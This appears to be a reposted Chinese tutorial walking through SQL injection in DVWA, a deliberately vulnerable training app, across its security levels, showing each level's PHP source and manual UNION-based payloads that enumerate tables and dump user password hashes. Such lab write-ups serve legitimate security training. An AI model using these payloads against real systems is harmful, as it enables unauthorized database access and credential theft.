2. 程式人生 > 實用技巧 >DVWA各等級sql注入

DVWA各等級sql注入

阿新 • • 發佈：2020-12-08

sql全等級注入

level:low

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {      //判斷submit是否存在
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    //sql的查詢語句  尋找表段users中user_id對應的first_name,last_name對應的值

    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    //mysqli_query函式執行mysql查詢 (其中 mysql_query()僅對 SELECT，SHOW，EXPLAIN 或 DESCRIBE 語句返回一個資源識別符號，如果查詢執行不正確則返回 FALSE 
    	//die()函式輸出一條資訊，並推出當前指令碼
		//mysql_error()函式返回上一個mysql操作產生的文字錯誤資訊
		//or 前一個語句執行不成功時才會執行後面的語句
		//and 前一個語句執行成功時，才會執行後面的語句



    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?> 
//什麼是同一資源識別符號: （URL）
			<!-- 第一部分:協議(或稱服務方式)
			第二部分:存有資源的主機IP地址(有時包括埠號)
			第三部分:主機資源的具體地址 -->

手工注入思路

  1. 判斷是否存在注入，注入的型別是數字型還是字元型
  2. 猜解sql查詢語句中的欄位數
  3. 確定顯示的欄位順序
  4. 獲取當前資料庫
  5. 獲取資料庫中的表
  6. 獲取表中的欄位名
  7. 下載資料

sql手工注入漏洞利用

現實攻擊場景下，攻擊者是無法看到後端程式碼的，所以下面的手工注入步驟是建立在無法看到原始碼的基礎上。

  1. 判斷是否存在注入，注入是字元型還是數字型

輸入1，查詢成功：

輸入1’and ‘1’ =’2，查詢失敗，返回結果為空：

輸入1’or ‘1’=’1，查詢成功：

說明存在字元型注入

  1. 猜解SQL查詢語句中的欄位數

輸入1′ or 1=1 order by 1 #，查詢成功：

輸入1′ or 1=1 order by 2 #，查詢成功：

當輸入到1′ or 1=1 order by 3 #，時查詢失敗
說明執行的SQL查詢語句中只有兩個欄位，即這裡的First name、Surname。
（這裡也可以通過輸入union select 1,2,3…來猜解欄位數）

  1. 確定顯示的欄位順序

輸入1′ union select 1,2 #，查詢成功：

說明執行的SQL語句為select First name,Surname from 表 where ID=’id’…

  1. 獲取當前資料庫

輸入1′ union select 1,database() #，查詢成功

可得到當前資料庫為dvwa

  1. 獲取資料庫中的表

輸入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #，查詢成功：

資料庫dvwa中一共有兩個表，guestbook與users。

  1. 獲取表中的欄位名

輸入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #，查詢成功：

說明users表中有8個欄位，分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

  1. 下載資料

輸入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #，查詢成功：

得到了users表中所有使用者的user_id,first_name,last_name,password的資料。

level：medium

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?>
  • mysqli_real_escape_string()函式對使用者輸入的id引數進行過濾
  • 可以把單引號[']，雙引號["] 反斜槓[]，空字元[null]等進行轉義(轉義:把指定的字元轉換成毫無意義的符號，比如PHP解析器不會把經過轉義的引號當過引號來看待 ##PHP中有一個類似功能的函式：addashes())

  • 方法

    medium級換成了POST請求，加入保護形式，由於SQL查詢沒有引用引數，這將不能完全保護查詢不被更改。 通過burp抓包，之後再修改引數。

level：high

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

  • 方法

  • 與medium級別相比較，high只是在'Check database'中加入了LIMIT 1的限制，希望以此控制只輸出一個結果。
  • 由於新增limit 1的限制，可以通過#(註釋符)將其註釋掉，手工注入與low一致
  • 需要特別提到的是，High級別的查詢提交頁面與查詢結果顯示頁面不是同一個，也沒有執行302跳轉，這樣做的目的是為了防止一般的sqlmap注入，因為sqlmap在注入過程中，無法在查詢提交頁面上獲取查詢的結果，沒有了反饋，也就沒辦法進一步注入。

level：impossible

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

按照所傳遞的資料型別分類：

  • 數字型注入:
    Select first_name,last_name from users where user_id =$id;
  • 字元型注入:
    Select first_name,last_name from users where user_id='$id'
  • 字元型注入需要閉合$id的單引號

無論哪種型別，都可以通過直接輸入單引號來判斷是否存在注入點

可以分別輸入3和1+2，根據回顯結果判斷資料型別
此dvwa版本為v1.9DVWA-1.9全級別教程之SQL Injection

相關推薦

DVWA各等級sql注入

sql全等級注入 level:low <?php if( isset( $_REQUEST[ \'Submit\' ] ) ) {//判斷submit是否存在

DVWA各等級命令注入漏洞

漏洞描述 在web程式中，因為業務功能需求要通過web前端傳遞引數到後臺伺服器上執行，由於開發人員沒有對輸入進行嚴格過濾，導致攻擊者可以構造一些額外的\"帶有非法目的的\"命令，欺騙後臺伺服器

DVWA各等級XSS

xss原理及基本介紹 XSS，全稱Cross Site Scripting，即跨站指令碼攻擊，某種意義上也是一種注入攻擊，是指攻擊者在頁面中注入惡意的指令碼程式碼，當受害者訪問該頁面時，惡意程式碼會在其瀏覽器上執行，需要強調的

記一次DVWA下的SQL注入測試

技術標籤：Web 漏洞解析sql安全漏洞mysql安全 文章目錄 一、前言二、Low級別的測三、Medium級別的測試

OWASPBWA中DVWA 靶機的SQL注入

難度等級：Low 簡單輸入1查詢看出正常搜尋的樣子 輸入基礎的1 or 1=1 #看到注入未生效，與輸入1返回的結果相同

DVWA 通關指南：SQL Injection (SQL 注入)

目錄SQL Injection (SQL 注入)Low Level原始碼審計攻擊方法判斷注入型別判斷幾列可控獲取表中的欄位名獲取目標資訊Medium Level原始碼審計攻擊方式判斷注入型別判斷幾列可控獲取表中的欄位名獲取目標資訊High Level原

SQL注入之DVWA平臺測試mysql注入

今天主要針對mysql常用注入語句進行測試。測試環境與工具：測試平臺：DVWA，下載地址：http://down.51cto.com/data/875088，也可下載metaspolit-table2虛擬機器，裡面已經部署好了dvwa.。***工具：burpsui

DVWA中low級別的SQL注入

DVWA中低級別的SQL注入 基於錯誤的注入: 構造特殊的SQL語句注入到資料庫中，看得到的返回資訊，確認注入點，如果資料庫對輸入的某些SQL語句無返回資訊時，可以進行基於時間的注入（sleep函式）

DVWA-SQL Injection(SQL注入)

sql注入是典型、常見的Web漏洞之一，現在在網路中也可能存在，不過大多數為SQL盲注。

sql注入原理及防範

前言         sql注入是一種危險係數較高的攻擊方式，現在由於我們持久層框架越來越多，大部分框架會處理這個問題，因此導致我們對它的關注度越來越少了。最近部門在整理安全漏洞時，提到了一些關於sql注入的修改

詳解SQL注入--安全（二）

如果此文章有什麼錯誤，或者您有什麼建議，歡迎隨時聯絡我，謝謝！ 寫在前面：在前兩天初學SQL注入的基礎上，繼續在Metasploitable-Linux環境下進行練習。

關於sql注入的簡要演示（入坑拋磚）

首先可能大家都會問什麼是sql? Sql是資料庫的一種型別，是用來儲存網站資料的。

淺談一次與sql注入 & webshell 的美麗“邂逅”

引言 一波未平，一波又起。金融公司的業務實在是太引人耳目，何況我們公司的業處正處於風口之上（區塊鏈金融），並且每天有大量現金交易，所以不知道有多少躲在暗處一直在盯著你的系統，讓你防不勝防，並且想方設法的

pymysql如何解決sql注入問題深入講解

1. SQL 注入 SQL 注入是非常常見的一種網路攻擊方式，主要是通過引數來讓 mysql 執行 sql 語句時進行預期之外的操作。

使用PDO防sql注入的原理分析

前言 本文使用pdo的預處理方式可以避免sql注入。下面話不多說了，來一起看看詳細的介紹吧

SQL注入的2個小Trick及示例總結

前言 最近發現了兩個關於sql注入的小trick,分享一下.下面話不多說了，來一起看看詳細的介紹吧

SQL注入技巧之顯注與盲注中過濾逗號繞過詳析

前言 sql注入在很早很早以前是很常見的一個漏洞。後來隨著安全水平的提高，sql注入已經很少能夠看到了。但是就在今天，還有很多網站帶著sql注入漏洞在執行。下面這篇文章主要介紹了關於SQL注入逗號繞過的相關內容，分

深入瞭解SQL注入

1 .什麼是sql注入（Sql injection）？ Sql注入是一種將sql程式碼新增到輸入引數中，傳遞到Sql伺服器解析並執行的一種攻擊手法

使用keras做SQL注入攻擊的判斷(例項講解)

本文是通過深度學習框架keras來做SQL注入特徵識別， 不過雖然用了keras，但是大部分還是普通的神經網路，只是外加了一些規則化、dropout層（隨著深度學習出現的層）。

SQL注入原理與解決方法程式碼示例

一、什麼是sql注入？ 1、什麼是sql注入呢？ 所謂SQL注入，就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串，最終達到欺騙伺服器執行惡意的SQL命令，比如先前的很多影視網站洩露VIP會員密碼大多